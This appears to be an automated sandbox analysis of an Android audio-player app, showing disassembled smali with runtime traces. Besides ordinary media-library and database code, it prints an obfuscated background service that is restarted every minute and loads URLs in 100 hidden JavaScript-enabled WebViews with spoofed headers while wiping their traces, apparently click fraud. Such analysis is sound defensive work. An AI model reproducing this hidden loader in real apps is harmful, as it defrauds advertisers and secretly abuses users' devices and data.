10const/4 v3, 0x0
12sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
13const/4 v0, 0x5
14new-array v2, v0, [Ljava/lang/String;
15const/4 v0, 0x0
17const-string v4, "_id"
18aput-object v4, v2, v0
19const/4 v0, 0x1
21const-string v4, "title"
22aput-object v4, v2, v0
23const/4 v0, 0x2
25const-string v4, "artist"
26aput-object v4, v2, v0
27const/4 v0, 0x3
29const-string v4, "album_id"
30aput-object v4, v2, v0
31const/4 v0, 0x4
33const-string v4, "_data"
34aput-object v4, v2, v0
36iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
37move-object v4, v3
38move-object v5, v3
40invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 57089
    • This:
      • android.app.ContextImpl$ApplicationContentResolver@2478b6a2
    • p0: content://media/external/audio/media
    • p1: [Ljava.lang.String;@3dc072f0
    • p1.Arrays.toString: [_id, title, artist, album_id, _data]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@3964069
41move-result-object v6
43invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
44move-result-object v0
45return-object v0
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
Strings
  • SELECT * FROM
  • SELECT * FROM playlists
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Playlist;",
6">;"
7}
8.end annotation
9.prologue
10new-instance v2, Ljava/lang/StringBuilder;
12const-string v3, "SELECT * FROM "
14invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SELECT * FROM
16sget-object v3, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
18invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
19move-result-object v2
21invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
22move-result-object v1
24iget-object v2, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
25const/4 v3, 0x0
27invoke-virtual {v2, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 57158
    • This:
      • SQLiteDatabase: /data/data/com.twdlphqg.app/databases/audio_player
    • sql: SELECT * FROM playlists
    • selectionArgs: null
    • Return:
      • android.database.sqlite.SQLiteCursor@a657d87
28move-result-object v0
30invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/PlaylistDal;->convertToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
31move-result-object v2
32return-object v2
Cross References
APIs
  • android.content.ContentResolver.query
Strings
  • _id
  • album
  • artist
  • album_art
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Album;",
6">;"
7}
8.end annotation
9.prologue
10const/4 v3, 0x0
12sget-object v1, Landroid/provider/MediaStore$Audio$Albums;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
13const/4 v0, 0x4
14new-array v2, v0, [Ljava/lang/String;
15const/4 v0, 0x0
17const-string v4, "_id"
18aput-object v4, v2, v0
19const/4 v0, 0x1
21const-string v4, "album"
22aput-object v4, v2, v0
23const/4 v0, 0x2
25const-string v4, "artist"
26aput-object v4, v2, v0
27const/4 v0, 0x3
29const-string v4, "album_art"
30aput-object v4, v2, v0
32iget-object v0, p0, Lcom/twdlphqg/app/dals/AlbumDal;->contentResolver:Landroid/content/ContentResolver;
33move-object v4, v3
34move-object v5, v3
36invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 57094
    • This:
      • android.app.ContextImpl$ApplicationContentResolver@2478b6a2
    • p0: content://media/external/audio/albums
    • p1: [Ljava.lang.String;@f9e77fa
    • p1.Arrays.toString: [_id, album, artist, album_art]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@346371ab
37move-result-object v6
39invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/AlbumDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
40move-result-object v0
41return-object v0
Cross References
APIs
  • android.content.Intent.<init>
  • com.twdlphqg.app.conf.Rmlsgfvgbscu.stopService
  • com.twdlphqg.app.conf.Rmlsgfvgbscu.startService
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0.prologue
1new-instance v1, Landroid/content/Intent;
2const-class v2, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;
4invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6invoke-virtual {p0, v1}, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;->stopService(Landroid/content/Intent;)Z
8invoke-virtual {p0, v1}, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 57494
    • This:
      • com.twdlphqg.app.conf.Rmlsgfvgbscu@25c41bb2
    • p0: Intent { cmp=com.twdlphqg.app/.services.Ryiidrxcjmfb }
    • Return:
      • ComponentInfo{com.twdlphqg.app/com.twdlphqg.app.services.Ryiidrxcjmfb}
9new-instance v0, Landroid/os/Handler;
11invoke-direct {v0}, Landroid/os/Handler;-><init>()V
12new-instance v2, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu$1;
14invoke-direct {v2, p0}, Lcom/twdlphqg/app/conf/Rmlsgfvgbscu$1;-><init>(Lcom/twdlphqg/app/conf/Rmlsgfvgbscu;)V
15const-wide/32 v4, 0xea60
17invoke-virtual {v0, v2, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 60000
18return-void
Cross References
APIs
  • android.os.Bundle.getString
  • com.twdlphqg.app.ActionBarParentActivity.getSupportActionBar
  • android.support.v7.app.ActionBar.setDisplayHomeAsUpEnabled
Strings
  • android.support.UI_OPTIONS
Position Instruction Meta Information
0.param p1, "arg0" # Landroid/os/Bundle;
1.prologue
3invoke-super {p0, p1}, Landroid/support/v7/app/ActionBarActivity;->onCreate(Landroid/os/Bundle;)V
  • Time: 57051
    • This:
      • Bundle[{android.app.default_searchable=.SearchActivity}]
    • p0: android.support.UI_OPTIONS
    • Return:
      • null
  • Time: 57066
    • This:
      • com.twdlphqg.app.ExplorationActivity@32f1fa7
    • featureId: 8
    • Return:
      • android.util.AndroidRuntimeException: requestFeature() must be called before adding content
5invoke-virtual {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->getSupportActionBar()Landroid/support/v7/app/ActionBar;
6move-result-object v0
7const/4 v1, 0x1
9invoke-virtual {v0, v1}, Landroid/support/v7/app/ActionBar;->setDisplayHomeAsUpEnabled(Z)V
  • Data flow analysis:
    • p0: 1
10return-void
Cross References
APIs
  • android.content.ContentResolver.query
Strings
  • _id
  • artist
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Lcom/twdlphqg/app/models/Artist;",
6">;"
7}
8.end annotation
9.prologue
10const/4 v3, 0x0
12sget-object v1, Landroid/provider/MediaStore$Audio$Artists;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
13const/4 v0, 0x2
14new-array v2, v0, [Ljava/lang/String;
15const/4 v0, 0x0
17const-string v4, "_id"
18aput-object v4, v2, v0
19const/4 v0, 0x1
21const-string v4, "artist"
22aput-object v4, v2, v0
24iget-object v0, p0, Lcom/twdlphqg/app/dals/ArtistDal;->contentResolver:Landroid/content/ContentResolver;
25move-object v4, v3
26move-object v5, v3
28invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 57092
    • This:
      • android.app.ContextImpl$ApplicationContentResolver@2478b6a2
    • p0: content://media/external/audio/artists
    • p1: [Ljava.lang.String;@3adab8f
    • p1.Arrays.toString: [_id, artist]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@3ad1ce1c
29move-result-object v0
30sput-object v0, Lcom/twdlphqg/app/dals/ArtistDal;->cursor:Landroid/database/Cursor;
32sget-object v0, Lcom/twdlphqg/app/dals/ArtistDal;->cursor:Landroid/database/Cursor;
34invoke-direct {p0, v0}, Lcom/twdlphqg/app/dals/ArtistDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
35move-result-object v0
36return-object v0
APIs
  • android.content.Intent.<init>
  • com.twdlphqg.app.SplashActivity.startActivity
  • com.twdlphqg.app.SplashActivity.finish
Position Instruction Meta Information
0.prologue
1new-instance v0, Landroid/content/Intent;
3iget-object v1, p0, Lcom/twdlphqg/app/SplashActivity$1;->this$0:Lcom/twdlphqg/app/SplashActivity;
4const-class v2, Lcom/twdlphqg/app/ExplorationActivity;
6invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
8iget-object v1, p0, Lcom/twdlphqg/app/SplashActivity$1;->this$0:Lcom/twdlphqg/app/SplashActivity;
10invoke-virtual {v1, v0}, Lcom/twdlphqg/app/SplashActivity;->startActivity(Landroid/content/Intent;)V
  • Time: 57016
    • This:
      • com.twdlphqg.app.SplashActivity@e1f218d
    • intent: Intent { cmp=com.twdlphqg.app/.ExplorationActivity }
12iget-object v1, p0, Lcom/twdlphqg/app/SplashActivity$1;->this$0:Lcom/twdlphqg/app/SplashActivity;
14invoke-virtual {v1}, Lcom/twdlphqg/app/SplashActivity;->finish()V
15return-void

339 Non-Executed Methods

Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.execSQL
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.execSQL
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • CREATE TABLE
  • (
  • INTEGER PRIMARY KEY,
  • TEXT)
  • TEXT,
  • TEXT,
  • INTEGER,
  • INTEGER)
Position Instruction Meta Information
0.param p1, "db" # Landroid/database/sqlite/SQLiteDatabase;
1.prologue
2new-instance v1, Ljava/lang/StringBuilder;
4const-string v2, "CREATE TABLE "
6invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: CREATE TABLE
8sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v1
13const-string v2, "("
15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: (
16move-result-object v1
18sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
20invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v1
23const-string v2, " INTEGER PRIMARY KEY,"
25invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER PRIMARY KEY,
26move-result-object v1
28sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
30invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31move-result-object v1
33const-string v2, " TEXT)"
35invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT)
36move-result-object v1
38invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
39move-result-object v0
41invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
42new-instance v1, Ljava/lang/StringBuilder;
44const-string v2, "CREATE TABLE "
46invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: CREATE TABLE
48sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
50invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v1
53const-string v2, "("
55invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: (
56move-result-object v1
58sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
60invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v1
63const-string v2, " INTEGER PRIMARY KEY,"
65invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER PRIMARY KEY,
66move-result-object v1
68sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ARTIST:Ljava/lang/String;
70invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
71move-result-object v1
73const-string v2, " TEXT,"
75invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT,
76move-result-object v1
78sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
80invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v1
83const-string v2, " TEXT, "
85invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT,
86move-result-object v1
88sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_PATH:Ljava/lang/String;
90invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
91move-result-object v1
93const-string v2, " TEXT, "
95invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT,
96move-result-object v1
98sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_TRACK_ID:Ljava/lang/String;
100invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
101move-result-object v1
103const-string v2, " INTEGER, "
105invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER,
106move-result-object v1
108sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
110invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
111move-result-object v1
113const-string v2, " INTEGER, "
115invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER,
116move-result-object v1
118sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ALBUM_ID:Ljava/lang/String;
120invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
121move-result-object v1
123const-string v2, " INTEGER)"
125invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER)
126move-result-object v1
128invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
129move-result-object v0
131invoke-virtual {p1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
132new-instance v1, Ljava/lang/StringBuilder;
134const-string v2, "CREATE TABLE "
136invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: CREATE TABLE
138sget-object v2, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
140invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
141move-result-object v1
143const-string v2, "("
145invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: (
146move-result-object v1
148sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
150invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
151move-result-object v1
153const-string v2, " INTEGER PRIMARY KEY,"
155invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER PRIMARY KEY,
156move-result-object v1
158sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ARTIST:Ljava/lang/String;
160invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
161move-result-object v1
163const-string v2, " TEXT,"
165invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT,
166move-result-object v1
168sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
170invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
171move-result-object v1
173const-string v2, " TEXT, "
175invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT,
176move-result-object v1
178sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_PATH:Ljava/lang/String;
180invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
181move-result-object v1
183const-string v2, " TEXT, "
185invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: TEXT,
186move-result-object v1
188sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_TRACK_ID:Ljava/lang/String;
190invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
191move-result-object v1
193const-string v2, " INTEGER, "
195invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER,
196move-result-object v1
198sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
200invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
201move-result-object v1
203const-string v2, " INTEGER, "
205invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER,
206move-result-object v1
208sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ALBUM_ID:Ljava/lang/String;
210invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
211move-result-object v1
213const-string v2, " INTEGER)"
215invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: INTEGER)
216move-result-object v1
218invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
219move-result-object v0
220return-void
Cross References
APIs
  • android.webkit.WebView.<init>
  • java.util.HashMap.<init>
  • java.util.Map.put
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setUserAgentString
  • android.webkit.WebView.clearHistory
  • android.webkit.WebView.clearFormData
  • android.webkit.WebView.clearCache
  • com.twdlphqg.app.services.Ryiidrxcjmfb.deleteDatabase
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setCacheMode
  • android.webkit.WebView.loadUrl
  • com.twdlphqg.app.services.Ryiidrxcjmfb$3.<init>
  • android.webkit.WebView.setWebViewClient
Strings
  • Referer
  • X-Requested-With
  • webview.db
  • webviewCache.db
Position Instruction Meta Information
0.param p1, "snewxwrigs" # Ljava/lang/String;
1.param p2, "snewxwrigv" # Ljava/lang/String;
2.param p3, "snewxwrigz" # Ljava/lang/String;
3.annotation build Landroid/annotation/SuppressLint;
4value = {
5"SetJavaScriptEnabled"
6}
7.end annotation
8.prologue
9const/16 v4, 0x64
10const/16 v1, 0x64
11try_start_4: new-array v1, v1, [Landroid/webkit/WebView;
12iput-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
13const/4 v0, 0x0
14goto_9: if-lt v0, v4, :cond_f
15const/4 v0, 0x0
16goto_c: if-lt v0, v4, :cond_1b
17goto_e: return-void
18cond_f:
19iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
20new-instance v2, Landroid/webkit/WebView;
22invoke-direct {v2, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
23aput-object v2, v1, v0
24add-int/lit8 v0, v0, 0x1
25goto/16 :goto_9
26cond_1b: new-instance v1, Ljava/util/HashMap;
28invoke-direct {v1}, Ljava/util/HashMap;-><init>()V
29iput-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwrim:Ljava/util/Map;
31iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwrim:Ljava/util/Map;
33const-string v2, "Referer"
35invoke-interface {v1, v2, p3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: Referer
37iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwrim:Ljava/util/Map;
39const-string v2, "X-Requested-With"
41const-string v3, ""
43invoke-interface {v1, v2, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: X-Requested-With
45iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
46aget-object v1, v1, v0
48invoke-virtual {v1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
49move-result-object v1
50const/4 v2, 0x1
52invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
54iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
55aget-object v1, v1, v0
57invoke-virtual {v1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
58move-result-object v1
60invoke-virtual {v1, p2}, Landroid/webkit/WebSettings;->setUserAgentString(Ljava/lang/String;)V
62iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
63aget-object v1, v1, v0
65invoke-virtual {v1}, Landroid/webkit/WebView;->clearHistory()V
67iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
68aget-object v1, v1, v0
70invoke-virtual {v1}, Landroid/webkit/WebView;->clearFormData()V
72iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
73aget-object v1, v1, v0
74const/4 v2, 0x1
76invoke-virtual {v1, v2}, Landroid/webkit/WebView;->clearCache(Z)V
  • Data flow analysis:
    • includeDiskFiles: 1
78const-string v1, "webview.db"
80invoke-virtual {p0, v1}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->deleteDatabase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: webview.db
82const-string v1, "webviewCache.db"
84invoke-virtual {p0, v1}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->deleteDatabase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: webviewCache.db
86iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
87aget-object v1, v1, v0
89invoke-virtual {v1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
90move-result-object v1
91const/4 v2, 0x2
93invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setCacheMode(I)V
  • Data flow analysis:
    • mode: 2
95iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
96aget-object v1, v1, v0
98iget-object v2, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwrim:Ljava/util/Map;
100invoke-virtual {v1, p1, v2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;Ljava/util/Map;)V
102iget-object v1, p0, Lcom/twdlphqg/app/services/Ryiidrxcjmfb;->snewxwriww:[Landroid/webkit/WebView;
103aget-object v1, v1, v0
104new-instance v2, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$3;
106invoke-direct {v2, p0}, Lcom/twdlphqg/app/services/Ryiidrxcjmfb$3;-><init>(Lcom/twdlphqg/app/services/Ryiidrxcjmfb;)V
108invoke-virtual {v1, v2}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
109try_end_8a: add-int/lit8 v0, v0, 0x1
110goto/16 :goto_c
111catch_8d: move-exception v1
112goto/16 :goto_e
Cross References
APIs
  • com.twdlphqg.app.TouchInterceptor.stopDragging
  • android.view.WindowManager$LayoutParams.<init>
  • com.twdlphqg.app.TouchInterceptor.getContext
  • android.widget.ImageView.<init>
  • android.widget.ImageView.setPadding
  • android.widget.ImageView.setImageBitmap
  • android.content.Context.getSystemService
  • android.view.WindowManager.addView
Strings
  • window
Position Instruction Meta Information
0.param p1, "bm" # Landroid/graphics/Bitmap;
1.param p2, "x" # I
2.param p3, "y" # I
3.prologue
4const/4 v6, -0x2
5const/4 v5, 0x0
7invoke-direct {p0}, Lcom/twdlphqg/app/TouchInterceptor;->stopDragging()V
8new-instance v2, Landroid/view/WindowManager$LayoutParams;
10invoke-direct {v2}, Landroid/view/WindowManager$LayoutParams;-><init>()V
11iput-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
13iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
14const/16 v3, 0x33
15iput v3, v2, Landroid/view/WindowManager$LayoutParams;->gravity:I
17iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
18iget v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointX:I
19sub-int v3, p2, v3
20iget v4, p0, Lcom/twdlphqg/app/TouchInterceptor;->mXOffset:I
21add-int/2addr v3, v4
22iput v3, v2, Landroid/view/WindowManager$LayoutParams;->x:I
24iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
25iget v3, p0, Lcom/twdlphqg/app/TouchInterceptor;->mDragPointY:I
26sub-int v3, p3, v3
27iget v4, p0, Lcom/twdlphqg/app/TouchInterceptor;->mYOffset:I
28add-int/2addr v3, v4
29iput v3, v2, Landroid/view/WindowManager$LayoutParams;->y:I
31iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
32iput v6, v2, Landroid/view/WindowManager$LayoutParams;->height:I
34iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
35iput v6, v2, Landroid/view/WindowManager$LayoutParams;->width:I
37iget-object v2, p0, Lcom/twdlphqg/app/TouchInterceptor;->mWindowParams:Landroid/view/WindowManager$LayoutParams;
38const/16 v3, 0x398
